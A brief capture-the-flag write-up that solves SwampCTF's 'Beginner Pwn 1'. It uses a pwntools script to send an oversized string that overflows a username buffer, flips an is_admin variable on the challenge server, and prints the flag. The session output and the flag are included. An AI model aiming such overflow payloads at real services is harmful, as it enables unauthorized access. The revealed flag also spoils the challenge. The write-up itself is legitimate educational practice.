

PWN | Beginner Pwn 1

To get the flag, you need to perform a basic buffer overflow

I wrote the following code to get the flag

```
from pwn import *

host = "chals.swampctf.com"
port = 40004

conn = remote(host, port)

print(conn.recvrepeat(1).decode())

payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaooaaapaaaqaaaraaasaaataaaauaaaavaaaawaaaxaaayaaa"
conn.sendline(payload.encode())

print(conn.recvrepeat(1).decode())

conn.sendline(b"y")

response = conn.recvrepeat(1).decode()
print(response)

conn.close()
```

```
(kali@whiterobber)-[~]
$ python3 pwn1.py
[*] Opening connection to chals.swampctf.com on port 40004: Done
At it's most basic, a computer exploit is finding a loophole in a programs logic which can cause unintended behavior. In this program, we demonstrate how buffer overflows can corrupt local variables.

To log into this system, please enter your name:
--- Print Stack ---
0x61 (a) = is_admin[3]
0x64 (d) = is_admin[2]
0x61 (a) = is_admin[1]
0x61 (a) = is_admin[0]
0x61 (a) = username[9]
0x63 (c) = username[8]
0x61 (a) = username[7]
0x61 (a) = username[6]
0x61 (a) = username[5]
0x62 (b) = username[4]
0x61 (a) = username[3]
0x61 (a) = username[2]
0x61 (a) = username[1]
0x61 (a) = username[0]
--- End Print ---
Hello, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaooaaapaaaqaaaraaasaaataaaauaaaavaaaawaaaxaaayaaa!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaooaaapaaaqaaaraaasaaataaaauaaaavaaaawaaaxaaayaaa is admin
Because the program accepts more characters then it has space to hold, you are able to corrupt the is_admin boolean. And because in C, any Boolean value that isn't 0 is considered "True", it lets you through!
Do you want to print the flag? (y/n)
Here is your flag! swampCTF{n0t_@11_5t@ck5_gr0w_d0wn}
Exiting!
[*] Closed connection to chals.swampctf.com port 40004
```

Flag: **swampCTF{n0t_@11_5t@ck5_gr0w_d0wn}**